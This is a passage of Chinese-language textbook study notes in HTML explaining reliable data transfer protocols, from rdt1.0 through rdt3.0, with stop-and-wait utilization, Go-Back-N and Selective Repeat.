的发送端正在被调用)在接收端, 当分组从信道的接收端到达时, 将调用<code>rdt_rev()</code>. 当 rdt协议 想要向较高层交付数据时,将通过调用<code>deliver_data()</code>来完成. 后面, 我们将使用术语“分组”而不用运输层的“报文段”. 因为本节研讨的理论适用于一般的计算机网络, 而不只是用于因特网运输层, 所以这时采用通用术语“分组”也许更为合适. </p><p>&emsp;&emsp;在本节中, 我们仅考虑<font color="#ff9f9f"><strong>单向数据传输(unidirectional data transfer)</strong></font>的情况,即数据传输是从发送端到接收端的. 可靠的<font color="#ff9f9f"><strong>双向数据传输(bidirectional data transfer)(即全双工数据传输)</strong></font>情况从概念上讲不会更难, 但解释起来更为单调乏味. 虽然我们只考虑单向数据传输, 注意到下列事实是重要的, 我们的协议也需要在发送端和接收端两个方向上传输分组, 如 图3-8 所示. 我们很快会看到, 除了交换含有待传送的数据的分组之外, rdt的发送端和接收端还需往返交换控制分组. rdt 的发送端和接收端都要通过调用<code>udt_send()</code>发送分组给对方(其中udt表示不可靠数据传输). </p><h4 id="构造可靠数据传输协议"><a href="#构造可靠数据传输协议" class="headerlink" title="构造可靠数据传输协议"></a>构造可靠数据传输协议</h4><p>&emsp;&emsp;我们现在一步步地研究一系列协议, 他们一个比一个复杂, 最后得到一个完美, 可靠地数据传输协议.</p><p><strong>1. 经完全可靠信道的可靠数据传输: rdt1.0</strong></p><p>&emsp;&emsp;首先, 我们考虑最简单地情况, 即底层信道是完全可靠的. 我们称该协议为<strong>rdt1.0</strong>, 该协议本身是简单的. 图3-9 显示了 rdt1.0 发送方和接收方的<font color="#ff9f9f"><strong>有限状态机(Finite-State Machine, FSM)</strong></font>的定义. 图3-9a 中的 FSM 定义了发送方的操作. 图3-9b中的FSM定义了接收方的操作. 值得注意的是, 发送方和接收方有各自的 FSM. 图3-9 中发送方和接收方的 FSM 每个都只有一个状态. FSM描述图中的箭头指示了协议从一个状态变迁到另一个状态(因为 图3-9 中的每个FSM都只有一个状态, 因此变迁必定是从一个状态返回自身)引起变迁的事件表示在横线上方, 事件发生梭采取的操作表示在横线下方(可以参考数电中的状态转移).如果对一个事件没有操作, 或没有就事件发生而采取操纵, 我们将在横线上方或下方使用符号<code>A</code>, 以分别明确地表示缺少操作或事件. FSM的初始状态用虚线表示. 尽管 图3-9 中的FSM只有一个状态, 但马上我们就将看到多状态的FSM, 因此标识每个FSM的初始状态是非常重要的.</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/34.png"><p>&emsp;&emsp;rdt 的发送端只通过<code>rdt_send(data)</code>事件接受来自较高层的数据, 产生一个包含该数据的分组(经由<code>make_pkt(data)</code>操作), 并将分组发送到信道中。实际上,<code>rdt_send(data)</code>事件是由较高层应用的过程调用产生的(例如,<code>rdt_send()</code>)。</p><p>&emsp;&emsp;在接收端,rdt 通过<code>rdt_rev(packet)</code>事件从底层信道接收一个分组, 从分组中取出数据(经由<code>extract(packet,data)</code>操作), 并将数据上传给较高层(通过<code>deliver_data(data)</code>操作)。实际上, <code>rdt_rcv(packet)</code>事件是由较低层协议的过程调用产生的(例如,<code>rdt_rev()</code>)。</p><p>&emsp;&emsp;在这个简单的协议中, 一个单元数据与一个分组没差别。而且, 所有分组是从发送方流向接收方, 有了完全可靠的信道, 接收端就不需要提供任何反馈信息给发送方, 因为不必担心出现差错! 注意到我们也已经假定了接收方接收数据的速率能够与发送方发送数据一样快. 因此, 接收方没有必要请求发送速度慢一点. </p><p><strong>2. 经具有比特差错信道的可靠数据传输: rdt2.0</strong></p><p>&emsp;&emsp;底层信道更为实际的模型是分组中的比特可能受损的模型. 在分组的传输, 传播或缓存的过程中, 这种比特差错通常会出现在网络的物理部件中. 我们眼下还将继续假定所有发送的分组(虽然有些比特可能受损)将按其发送的顺序被接收. </p><p>&emsp;&emsp;在研发一种经这种信道进行可靠通信的协议之前, 首先考虑一下人们会怎样处理这类情形。考虑一下你自己是怎样通过电话口述一条长报文的。在通常情况, 报文接收者在听到、理解并记下每句话后可能会说“OK”。如果报文接收者听到一名含糊不清的话时, 他可能要求你重复那句容易误解的话。这种口述报文协议使用了<font color="#ff9f9f"><strong>肯定确认(positive acknowledgment)</strong></font>与<font color="#ff9f9f"><strong>否定确认(negative acknowledgment)</strong></font>。这些控制报文使得接收方可以让发送方知道哪些内容被正确接收, 哪些内容接收有误并因此需要重复。在计算机网络环境, 基于这样重传机制的可靠数据传输协议称为<font color="#ff9f9f"><strong>自动重传请求(Automatic Repeat reQuest,ARQ)协议</strong></font>。</p><p>重要的是, ARQ协议 中还需要另外三种协议功能来处理存在比特差错的情况:</p><ul><li><strong>差错检测:</strong> 首先, 需要一种机制以使接收方检测到何时出现了比特差错。前一节讲到, UDP 使用因特网检验和字段正是为了这个目的。在第6章中, 我们将更详细地学习差错检测和纠错技术。这些技术使接收方可以检测并可能纠正分组中的比特差错。此刻, 我们只需知道这些技术要求有额外的比特(除了等发送的初始数据比特之外的比特)从发送方发送到接收方; 这些比特将被汇集在 rdt2.0 数据分组的分组检验和字段中。</li><li><strong>接收方反馈:</strong> 因为发送方和接收方通常在不同端系统上执行, 可能相隔数千英里, 发送方要了解接收方情况(此时为分组是否被正确接收)的唯一途径就是让接收方提供明确的反馈信息。在口述报文情况下回答的<font color="#ff9f9f"><strong>“肯定确认”(ACK)</strong></font>和<font color="#ff9f9f"><strong>“否定确认”(NAK)</strong></font>就是这种反馈的例子。类似的, rdt2.0 协议将从接收方向发送方回送 ACK 与 NAK 分组。理论上, 这些分组只需要一个比特长度, 如用0表示 NAK, 用1表示 ACK。</li><li><strong>重传:</strong> 接收方收到有差错的分组时, 发送方将重传该分组文。</li></ul><p>图3-10 说明了表示 rdt2.0 的 FSM,该数据传输协议采用了差错检测、肯定确认与和否定确认。</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/35.png"><p>&emsp;&emsp;rdt2.0 的发送端有两个状态。在最左边的状态中, 发送端协议正等待来自上层传下来的数据。当<code>rdt_send(data)</code>事件出现时,发送方将产生一个包含待发送数据的分组<code>(sndp-kt)</code>, 带有检验和(就像在对UDP报文段使用的方法),然<code>udt_send(sndpkt)</code>操作发送该分组。在最右边后经由的状态中,发送方协议等待来自接收方的 ACK 或 NAK分组。如果收到一个 ACK分组 [ 图3-10 中符号<code>rdt_rev(revpkt)&amp;&amp;isSACK(reypkt)</code>对应该事件], 则发送方知道最近发送的分组已被正确接收, 因此协议返回到等待来自上层的数据的状态。如果收到一个 NAK分组, 该协议重传上一个分组并等待接收方为响应重传分组而回送的 ACK 和 NAK。注意到下列事实很重要: 当发送方处于等待 ACK 或 NAK 的状态时, 它不能从上层获得更多的数据; 这就是说,<code>rdt_send()</code>事件不可能出现; 仅当接收到 ACK 并离开该状态时才能发生这样的事件。因此, 发送方将不会发送一块新数据, 除接受方确信接收方已正确接收当前分组。由于这种行为, rdt2.0 这样的协议被称为<font color="#ff9f9f"><strong>停等(stop-and-wait)协议</strong></font>.</p><p>&emsp;&emsp;rdt2.0 接收方的 FSM 仍然只有单一状态。当分组到达时, 接收方要么回答一个ACK, 要么回答一个 NAK, 这取决于收到的分组是否受损。在 图3-10 中, 符号<code>rdt_rev(revpkt)&amp;&amp;corrupt(rcevpkt)</code>对应于收到一个分组并发现有错的事件.</p><p>&emsp;&emsp;rdt2.0 协议看起来似乎可以运行, 但遗憾的是, 它存在一个致命的缺聊。尤其是我们没有考虑到 ACK 或 NAK 分组受损的可能性. 遗憾的是, 我们细小的疏忽并非像它看起来那么无关紧要。至少, 我们需要在 ACK&#x2F;NAK 分组中添加检验和比特以检测这样的差错。更难的问题是协议应该怎样纠正 ACK 或 NAK 分组中的差错。这里的难点在于, 如果一个 ACK 或 NAK 分组受损, 发送方无法知道接收方是否正确接收了上一块发送的数据。</p><p>考虑处理受损ACK和NAK时的三种可能性:</p><ul><li>对于第一种可能性, 考虑在口述报文情况下人可能的做法。如果说话者不理解来自接收方回答的 “OK” 或 “请重复一遍”, 说话者将可能问 “你说什么?” (因此在我们的协议中引入了一种新型发送方到接收方的分组)。接收方则将复述其回答。但是如果说话者的 “你说什么?” 产生了差错, 情况又会怎样呢? 接收者不明白那句混淆的话是口述内容的一部分还是一个要求重复上次回答的请求, 很可能回一句“你说什么?”。于是, 该回答可能含糊不清了。显然, 我们走上了一条困难重重之路。</li><li>第二种可能性是增加足够的检验和比特, 使发送方不仅可以检测差错, 还可恢复差错。对于会产生差错但不丢失分组的信道, 这就可以直接解决问题。</li><li>第三种可能性是, 当发送方收到含糊不清的 ACK 或 NAK 分组时, 只需重传当前数据分组即可。然而, 这种方法在发送方到接收方的信道中引入了<font color="#ff9f9f"><strong>冗余分组(duplicate packet)</strong></font>。冗余分组的根本困难在于接收方不知道它上次所发送的 ACK 或 NAK 是否被发送方正确地收到。因此它无法事先知道接收到的分组是新的还是一次重传.</li></ul><p>&emsp;&emsp;解决这个新问题的一种简单方法(几乎所有现有的数据传输协议都采用了这种方法)是在数据分组中添加一新字段, 让发送方对其数据分组编号, 即将发送数据分组的<font color="#ff9f9f"><strong>序号(sequence number)</strong></font>放在该字段。于是, 接收方只需要检查序号即可确定收到的分组是否为重传。对于停等协议这种简单情况, 1比特序号就足够了, 因为它可让接收方知道发送方是否正在重传前一个发送分组(接收到的分组序号与最近收到的分组序号相同), 或是一个新分组(序号变化了,用模2运算“前向”移动)。因为目前我们假定信道不丢分组, ACK 和 NAK 分组本身不需要指明它们要确认的分组序号。发送方知道所接收到的 ACK 和 NAK 分组(无论是否是含糊不清的)是为响应其最近发送的数据分组而生成的。</p><p>&emsp;&emsp;图3-11 和 图3-12 给出了对 rdt2.1 的 FSM 描述,这是 rdt2.0 的修订版。rdt2.1 的发送方和接收方 FSM 的状态数都是以前的两倍。这是因为协议状态此时必须反映出目前(由发送方)正发送的分组或(在接收方)希望接收的分组的序号是0还是1。值得注意的是, 发送或期望接收0号分组的状态中的操作与发送或期望接收1号分组的状态中的操作是相似的; 唯一的不同是序号处理的方法不同.</p><p>&emsp;&emsp;协议rdt2.1使用了从接收方到发送方的 ACK 和 NAK。当接收到失序的分组时, 接收方对所接收的分组发送一个肯定确认。如果收到受损的分组, 则接收方将发送一个和否定确认。如果不发送NAK, 而是对上次正确接收的分组发送一个ACK, 我们也能实现与 NAK 一样的效果, 因为发送方接收到对同一个分组的两个 ACK[即接收<strong>冗余ACK(duplicate ACK)</strong>] 后, 就知道接收方没有正确接收到跟在被确认两次的分组后面的分组(即后续的分组产生了乱序)。</p><blockquote><p><strong>对 rdt2.1 的工作流程举例讲解</strong></p><ul><li>假设发送方发送了分组1、2、3, 然后因为某些原因, 3号分组抵达时2号分组仍然未抵达.<ul><li>1号分组如期抵达并无错误. 接收方返回ACK1</li><li>3号分组到达, 但是序号不对, 接收方会再次返回ACK1</li><li>发送方发现存在重复的ACK1, 判定1号分组之后的分组出现了乱序.并从2号分组开始重传</li></ul></li><li>注意, 1, 2, 3这样的编号是为了方便理解. 具体实现上只需一个bit的数据量就可以编号了.因为当0号分组后不是1号分组就可以立即判定为失序, 触发上述行为.</li></ul></blockquote><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/36.png"><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/37.png"><p>&emsp;&emsp;rdt2.2 是在有比特差错信道上实现的一个无 NAK 的可靠数据传输协议, 如 图3-13 和 图3-14 所示。rdt2.1 和 rdt2.2 之间的细微变化在于, 接收方此时必须包括由一个 ACK 报文所确认的分组序号[这可以通过在接收方 FSM 中,在<code>make_pkt()</code>中包括参数 ACK0 或 ACK1 来实现], 发送方此时必须检查接收到的 ACK 报文中被确认的分组序号[这可通过在发送方 FSM 中,在<code>isACK()</code>中包括参数 0 或 1 来实现]。</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/38.png"><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/39.png"><p><strong>3. 经具有比特差错的丢包信道的可靠数据传输: rdt3.0</strong></p><p>&emsp;&emsp;现在假定除了比特受损外, 底层信道还会丢包, 这在今天的计算机网络(包括因特网)中并不罕见。协议现在必须处理另外两个问题: 怎样检测丢包以及发生丢包后该做些什么。在 rdt2.2 中已经研发的技术, 如使用检验和、序号、ACK 分组和重传等, 使我们能给出后一个问题的答案。为解决第一个关注的问题,还需增加一种新的协议机制。</p><p>&emsp;&emsp;有很多可能的方法用于解决丢包问题(在本章结尾的习题中研究了几种其他方法)。这里, 我们让发送方负责检测和恢复丢包工作。假定发送方传输一个数据分组, 该分组或者接收方对该分组发出的 ACK 发生了丢失。在这两种情况下, 发送方都收不到应当到来的接收方的响应。如果发送方愿意等待足够长的时间以便确定分组已丢失, 则它只需重传该数据分组即可。你应该相信该协议确实有效。</p><p>&emsp;&emsp;但是发送方需要等待多久才能确定已丢失了某些东西呢? 很明显发送方至少需要等待这样长的时间: 发送方与接收方之间的一个往返时延(可能会包括在中间路由器的缓冲时延)加上接收方处理一个分组所需的时间。在很多网络, 最坏情况下的最大时延是很难估算的, 确定的因素非常少。此外, 理想的协议应尽可能快地从丢包中恢复出来; 等待一个最坏情况的时延可能意味着要等待一段较长的时间, 直到启动差错恢复为止。因此实践中采取的方法是发送方明智地选择一个时间值, 以判定可能发生了丢包(尽管不能确保)。如果在这个时间内没有收到 ACK, 则重传该分组。注意到如果一个分组经历了一个特别大的时延, 发送方可能会重传该分组, 即使该数据分组及其 ACK 都没有丢失。这就在发送方到接收方的信道中引入了<font color="#ff9f9f"><strong>冗余数据分组(duplicate data packet)</strong></font>的可能性。幸运的是, rdt2.2 协议已经有足够的功能(即序号)来处理冗余分组情况。</p><p>&emsp;&emsp;从发送方的观点来看, 重传是一种万能灵药。发送方不知道是一个数据分组丢失, 还是一个 ACK 丢失, 或者只是该分组或 ACK 过度延时。在所有这些情况, 操作是同样的: 重传。为了实现基于时间的重传机制需要一个<font color="#ff9f9f"><strong>倒计数定时器(count down timer)</strong></font>, 在一个给定的时间量过期后, 可中断发送方。因此, 发送方需要能做到: </p><ul><li>每次发送一个分组(包括第一次分组和重传分组)时,便启动一个定时器;</li><li>响应定时器中断(采取适当的操作);</li><li>终止定时器。</li></ul><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/40.png"><p>&emsp;&emsp;图3-15 给出了 rdt3.0 的发送方 FSM, 这是一个在可能出错和丢包的信道传输数据的协议;  图3-16 显示了在没有丢包和延迟分组情况下协议运作的情况, 以及它是如何处理数据分组丢失的。在 图3-16 中, 时间从图的顶部朝底部移动; 注意到一个分组的接收时间必定迟于一个分组的发送时间, 这是因为发送时延与传播时延之故。在 图3-16 b~d 中,发送方括号部分表明了定时器的设置时刻以及随后的超时。本章后面的习题探讨了该协议几个更细微的方面。因为分组序号在0和1之间交替, 因此 rdt3.0 有时被称为<font color="#ff9f9f"><strong>比特交替协议(alternating-bit protocol)</strong></font>。</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/41.png"><p>&emsp;&emsp;在检验和, 序号, 定时器, 肯定和否定确认分组这些技术中, 每种机制都在协议的运行中起到了必不可少的作用. 至此, 我们得到了一个可靠的传输协议.</p><h4 id="流水线可靠数据传输协议"><a href="#流水线可靠数据传输协议" class="headerlink" title="流水线可靠数据传输协议"></a>流水线可靠数据传输协议</h4><p>&emsp;&emsp;rdt3.0 是一个功能正确的协议, 但它的性能不尽人意, 特别是在今天的高速网络中更是如此。rdt3.0 性能问题的核心在于它是一个停等协议。</p><p>&emsp;&emsp;为了评价该停等行为对性能的影响, 可考虑一种具有两台主机的理想化场合, 一台主机位于美国西海岸, 另一台位于美国东海岸, 如图3-17所示。在这两个端系统之间的RTT大约为30ms。假定彼此通过一条发送速率民为 1Gbps(每秒$10^9$bit) 的信道相连。包括首部字段和数据的分组长L为1000字节(8000bit), 发送一个分组进入 1Gbps 链路实际所需时间是:$$t_{trans} &#x3D; \frac{L}{R} &#x3D; \frac{8000bit}{10^9 bit&#x2F;s} &#x3D; 8 \mu s$$<img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/42.png"></p><p>&emsp;&emsp;图3-18a 显示了对于该停等协议, 如果发送方在上 $t&#x3D;0$ 时刻开始发送分组,则在 $t&#x3D;L&#x2F;R&#x3D;8 \mu s$ 后,最后 1bit 数据进入了发送端信道。该分组经过 15ms 的穿越国家的旅途后到达接收端, 该分组的最后 1比特 在时刻上 $t &#x3D; RTT&#x2F;2 + L&#x2F;R &#x3D;15.008ms$ 时到达接收方。为了简化起见, 假设 ACK分组 很小(以便我们可以忽略其发送时间), 接收方一旦收到一个数据分组的最后 1bit 后立即发送 ACK, ACK 在时刻 $t &#x3D; RTT+L&#x2F;R &#x3D; 30.008ms$ 时到达发送方。此时, 发送方可以发送下一个报文。因此, 在 30.008ms 内, 发送方的发送只用了 0.008ms。如果我们定义发送方(或信道)的<font color="#ff9f9f"><strong>利用率(utilization)</strong></font>为发送方实际忙于将发送比特送进信道的那部分时间与发送时间之比, 图3-18a 中的分析表明了停等协议有着非常低的发送方利用率 $U_{sender}$:$$U_{sender} &#x3D; \frac{L&#x2F;R}{RTT + L&#x2F;R} &#x3D; \frac{0.008}{30.008} &#x3D; 0.00027$$&emsp;&emsp;这就是说, 发送方只有 0.027% 时间是忙的. 从其他角度来看, 发送方在 30.008ms 内只能发送 1000字节, 有效的吞吐量仅为267kbps, 即使有 1Gbps 的链路可用也是如此! 想象一个不幸的网络经理购买了一条千兆比容量的链路, 但他仅能得到267kbps吞吐量的情况, 这是一个形象的网络协议限制底层网络硬件所提供的能力的图例。而且, 我们还忽略了在发送方和接收方的底层协议处理时间, 以及可能出现在发送方与接收方之间的任何中间路由器上的处理与排队时延。考虑到这些因素, 将进一步增加时延, 使其性能更糟糕.</p><p>&emsp;&emsp;这种特殊的性能问题的一个简单解决方法是: 不以停等方式运行, 允许发送方发送多个分组而无须等待确认, 如 图3-17b 所示。图3-18b 显示了如果发送方可以在等待确认之前发送 3个报文, 其利用率也基本上提高3倍。因为许多从发送方向接收方输送的分组可以被看成是填充到一条流水线, 故这种技术被称为<font color="#ff9f9f"><strong>流水线(Pipe lining)</strong></font>. 流水线技术对可靠数据传输协议可带来如下影响:</p><ul><li>必须增加序号范围, 因为每个输送中的分组(不计算重传的)必须有一个唯一的序号, 而且也许有多个在输送中的未确认报文。</li><li>协议的发送方和接收方两端也许不得不缓存多个分组。发送方最低限度应当能缓冲那些已发送但没有确认的分组。如下面讨论的那样, 接收方或许也需要缓存那些已正确接收的分组。</li><li>所需序号范围和对缓冲的要求取决于数据传输协议如何处理丢失、损坏及延时过大的分组。解决流水线的差错恢复有两种基本方法:<font color="#ff9f9f"><strong>回退N步(Go-Back-N, GBN)</strong></font>和<font color="#ff9f9f"><strong>选择重传(Selective Repeat, SR)</strong></font>。</li></ul><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/43.png"><h4 id="回退n步"><a href="#回退N步" class="headerlink" title="回退N步"></a>回退N步</h4><p>&emsp;&emsp;在<font color="#ff9f9f"><strong>回退N步(CBN)</strong></font>协议, 允许发送方发送多个分组（当有多个分组可用时)而不需等待确认,但它也受限于在流水线中未确认的分组数不能超过某个最大允许数N。在本节中我们较为详细地描述CBN。</p><p>&emsp;&emsp;图3-19 显示了发送方看到的 CBN协议 的序号范围。如果我们将 基序号(base) 定义为最早未确认分组的序号, 将 下一个序号(nextseqnum) 定义为最小的未使用序号(即下一个待发分组的序号), 则可将序号范围分割成4段。在 <code>[0, base-1]</code> 段内的序号对应于已经发送并被确认的分组。 <code>[base, nextseqnum-1]</code> 段内对应已经发送但未被确认的分组。<code>[nextseqnum, base+N-1]</code> 段内的序号能用于那些要被立即发送的分组, 如果有数据来自上层的话。最后, 大于或等于<code>base+N</code>的序号是不能使用的, 直到当前流水线中未被确认的分组(特别是序号为base的分)已得到确认为止。</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/44.png"><p>&emsp;&emsp;如 图3-19 所示, 那些已被发送但还未被确认的分组的许可序号范围可以被看成是一个在序号范围内长度为N的窗口。随着协议的运行, 该窗口在序号空间向前滑动。因此, N常被称为<font color="#ff9f9f"><strong>窗口长度(window size)</strong></font>, GBN协议也常被称为<font color="#ff9f9f"><strong>滑动窗口协议(sliding-window protocol)</strong></font>。你也许想知道, 我们为什么先要限制这些被发送的、未被确认的分组的数目为N呢? 为什么不允许这些分组为无限制的数目呢? 我们将在之后看到, 流量控制是对发送方施加限制的原因之一。并在学习TCP拥塞控制时分析另一个原因。</p><p>&emsp;&emsp;在实践中, 一个分组的序号承载在分组首部的一个国定长度的字段中。如果分组序号字段的比特数是 $k$, 则该序号范围是 $[0, 2^k-1]$。在一个有限的序号范围内, 所有涉及序号的运算必须使用模 $2^k$ 运算。(即序号空间可被看作一个长度为 $2^k$ 的环,其中序号 $2^k-1$ 紧接着序号 0。)前面讲过, rdt3.0 有一个 1比特 的序号, 序号范围是[0,1]。在本章末的几道习题中探讨了一个有限的序号范围所产生的结果。我们将在之后看到, TCP 有一个 32比特 的序号字段, 其中的 TCP序号 是按字节流中的字节进行计数的, 而不是按分组计数。</p><p>&emsp;&emsp;图3-20 和 图3-21 给出了一个基于 ACK、无 NAK 的 GBN协议 的发送方和接收方这两端的 扩展FSM 描述。我们称该 FSM 描述为 扩展FSM, 是因为我们已经增加了变量 <code>base</code> 和 <code>nextseqnum</code>, 还增加了对这些变量的操作以及与这些变量有关的条件操作。注意到该扩展的 FSM 规约现在变得有点像编程语言规约。[Bochman1984] 对 FSM扩展技术 做了很好的综述, 也提供了用于定义协议的其他基于编程语言的技术。</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/45.png"><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/46.png"><p>GBN 发送方必须响应三种类型的事件:</p><ul><li><strong>上层的调用</strong>: 当上层调用 <code>rdt_send()</code> 时, 发送方首先检查发送窗口是否已满, 即是否有 N 个已发送但未被确认的分组。如果窗口未满, 则产生一个分组并将其发送, 并相应地更新变量。如果窗口已满, 发送方只需将数据返回给上层, 隐式地指示上层该窗口已满。然后上层可能会过一会儿再试。在实际实现中, 发送方更可能缓存(并不立刻发)这些数据或者使用同步机制(如一个信号量或标志)允许上层在仅当窗口不满时才调用 <code>rdt_send()</code>。</li><li><strong>收到一个ACK</strong>：在GBN协议中, 对序号为 n 的分组的确认采取<font color="#ff9f9f"><strong>累积确认(cumulative acknowledgment)</strong></font>的方式, 表明接收方已正确接收到序号为 n 及之前的所有分组。稍后讨论GBN接收方一端, 我们将再次研究这个主题。</li><li><strong>超时事件</strong>： 协议的名字 “回退N步” 来源于出现丢失和时延过长分组时发送方的行为。就像在停等协议中那样, 定时器将再次用于恢复数据或确认分组的丢失。如果出现超时, 发送方重传所有已发送但还未被确认过的分组。图3-20 中的发送方仅使用一个定时器, 它可被当作最早的已发送但未被确认的分组所使用的定时器。如果收到一个 ACK, 但仍有已发送但未被确认的分组, 则定时器被重新启动。如果没有已发送但未被确认的分组, 停止该定时器。</li></ul><p>&emsp;&emsp;在 GBN 中, 接收方的操作也很简单。如果一个序号为 n 的分组被正确且有序地接受到(即上次交付给上层的数据是序号为 n-1 的分组), 则接收方为分组发送一个 ACK, 并将该分组中的数据部分交付到上层。在所有其他情况下, 接收方丢弃该分组, 并为最近按序接收的分组重新发送 ACK。注意到因为一次交付给上层一个分组, 如果分组 k 已接收并交付, 则所有序号比 k 小的分组也已经交付。因此, 使用累积确认是GBN一个自然的选择。</p><p>&emsp;&emsp;在 GBN 协议中, 接收方丢弃所有失序分组。尽管丢弃一个正确接收(但失序)的分组有点浪费, 但这样做是有理由的。前面讲过, 接收方必须按序将数据交付给上层。假定现在期望接收分组 n, 而分组 n+1 却到了。因为数据必须按序交付, 接收方可能缓存分组 n+1, 然后在它收到并交付分组 n 后, 再将该分组交付到上层。然而, 如果分组 n 丢失, 则该分组及分组 n+1 最终将在发送方根据GBN重传规则而被重传。因此, 接收方只需丢弃分组 n+1 即可。这种方法的优点是接收缓存简单, 即接收方不需要缓存任何失序分组。因此， 虽然发送方必须维护窗口的上下边界及 <code>nextseqnum</code> 在该窗口地位置， 但是接收方需要维护地唯一信息就是下一个按序接收的分组的序号。该值保存在 <code>expectedseqnum</code> 变量中, 如 图3-21中接收方 FSM 所示。当然, 丢弃一个正确接收的分组的缺点是随后对该分组的重传也许会丢失或出错， 因此可能需要更多次的重传。</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/47.png"><p>&emsp;&emsp;图3-22 给出了窗口长度为 4 个分组的 GBN 协议的运行情况。因为该窗口长度的限制, 发送方发送分组 0~3, 然后在继续发送之前, 必须等待直到一个或者多个分组被确认。当接收到每一个连续的 ACK时, 该窗口便向前滑动, 发送方可以发送新的分组。在接收方, 分组 2 丢失， 因此分组3, 4, 5被发现时失序分组并被丢弃。</p><p>&emsp;&emsp;在结束对 GBN 的讨论之前, 需要注意, 在协议栈中实现该协议可能与 图3-20 中的扩展 FSM 有着相似的结构。该实现也可能是以各种过程形式出现, 每个过程实现了在响应各种可能出现的事件时要采取的操作。在这种<font color="#ff9f9f"><strong>基于事件的编程(event-based programming)</strong></font>方式中, 这些过程要么被协议栈中的其他过程调用, 要么作为一次中断的结果。在发送方, 这些事件包括:</p><ul><li>来自上层实体的调用而调用 <code>rdt_send()</code></li><li>定时器中断</li><li>报文到达时,来自下层的调用而调用 <code>rdt_rev()</code>。</li></ul><p>&emsp;&emsp;本章后面的编程作业会使你有机会在一个模拟网络环境中实际实现这些例程, 但该环境却是真实的。这里我们注意到, GBN 协议中综合了我们将在之后学习 TCP 可靠数据传输构件时遇到的所有技术。这些技术包括使用序号、累积确认、检验和以及超时&#x2F;重传操作。</p><h4 id="选择重传"><a href="#选择重传" class="headerlink" title="选择重传"></a>选择重传</h4><p>&emsp;&emsp;在 图3-17 中, GBN 协议潜在地允许发送方用多个分组“填充流水线”, 因此避免了停等协议中所提到的信道利用率问题。然而, GBN 本身也有一些情况存在着性能问题。尤其是当<strong>窗口长度</strong>和<strong>带宽时延积</strong>(链路带宽*RTT)都很大时, 在流水线中会有很多分组更是如此。单个分组的差错就能够引起CBN重传大量分组, 许多分组根本没有必要重传。随着信道差错率的增加, 流水线可能会被这些不必要重传的分组所充斥。想象一下, 在我们口述消息的例子中, 如果每次有一个单词含糊不清, 其前后1000个单词(例如,窗口长度为1000个单词)不得不被重传的情况。此次口述会由于这些反复述说的单词而变慢。</p><p>&emsp;&emsp;顾名思义, <font color="#ff9f9f"><strong>选择重传(SR)</strong></font>协议通过让发送方仅重传那些它怀疑在接收方出错(即丢失或受损)的分组而避免了不必要的重传。这种个别的、按需的重传要求接收方逐个确认正确接收的分组。再次用窗口长度 N 来限制流水线中未完成、未被确认的分组数. 然而, 与GBN不同的是, 发送方已经收到了对窗口中某些分组的 ACK。图3-23 显示了 SR 发送方看到的序号空间。图3-24 详细描述了 SR 发送方所采取的操作。</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/48.png"><p>&emsp;&emsp;SR 接收方将确认一个正确接收的分组而不管其是和否按序。失序的分组将被缓存直到所有丢失分组(即序号更小的分组)皆被收到为止, 这时才可以将一批分组按序交付给上层。图3-25 详细列出了 SR 接收方所采用的各种操作。图3-26 给出了一个例子以说明出现丢包时SR的操作。值得注意的是, 在 图3-26 中接收方初始时缓存了分组3、4、5,并在最终收到分组2时， 才将它们一并上交给上层。</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/49.png"><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/50.png"><p>&emsp;&emsp;注意到 图3-25 中的第二步很重要, 接收方重新确认(而不是忽略)已收到过的那些序号小于当前窗口基序号的分组。你应该理解这种重新确认确实是需要的。例如, 给定在 图3-23 中所示的发送方和接收方的序号空间, 如果分组 <code>send_base</code> 的 ACK 没有从接收方传播回发送方, 则发送方最终将重传分组 <code>send_base</code> , 即使显然接收方已经收到了该分组。如果接收方不确认该分组, 则发送方窗口将永远不能向前滑动! 这个例子说明了 SR 协议(和很多其他协议一样)的一个重要方面。对于哪些分组已经被正确接收, 哪些没有, 发送方和接收方并不总是能看到相同的结果。对 SR 协议而言, 这就意味着发送方和接收方的窗口并不总是一致(图3-26 中就显然不一致).</p><p>&emsp;&emsp;在序号范围(指给各个分组的编号)有限的情况下, 发送方和接收方窗口间缺乏同步会产生严重的后果。考虑下面例子中可能发生的情况, 该例有包括 4 个分组序号 0、1、2、3 的有限序号范围且窗口长度为 3。假定发送了分组 0 至 2, 并在接收方被正确接收且确认了。此时, 接收方窗口落在第 4、5、6 个分组上, 其序号分别为 3、0、1。现在考虑两种情况。在第一种情况下, 如 图3-27a 所示, 对前 3 个分组的 